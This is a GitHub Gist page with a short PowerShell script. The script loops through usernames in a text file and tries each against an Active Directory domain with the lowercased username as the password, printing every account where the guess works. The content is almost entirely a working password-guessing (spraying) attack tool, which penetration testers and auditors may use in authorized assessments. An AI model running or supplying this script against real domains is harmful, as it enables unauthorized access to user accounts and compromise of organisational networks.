Last active
January 31, 2023 09:39
-
-
Save fbogner/365f5223d05a10cead432ac2d86b33fa to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
foreach($line in Get-Content .\users.txt) { | |
Add-Type -AssemblyName System.DirectoryServices.AccountManagement | |
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('domain') | |
$username = $line.Trim() | |
$password = $username.ToLower() | |
$success=$DS.ValidateCredentials($username, $password) | |
if ($success) | |
{ | |
write-output -ForegroundColor Green "[+] User $username uses $password" | |
} | |
else | |
{ | |
#write-output -ForegroundColor Red "[-] User $username" | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment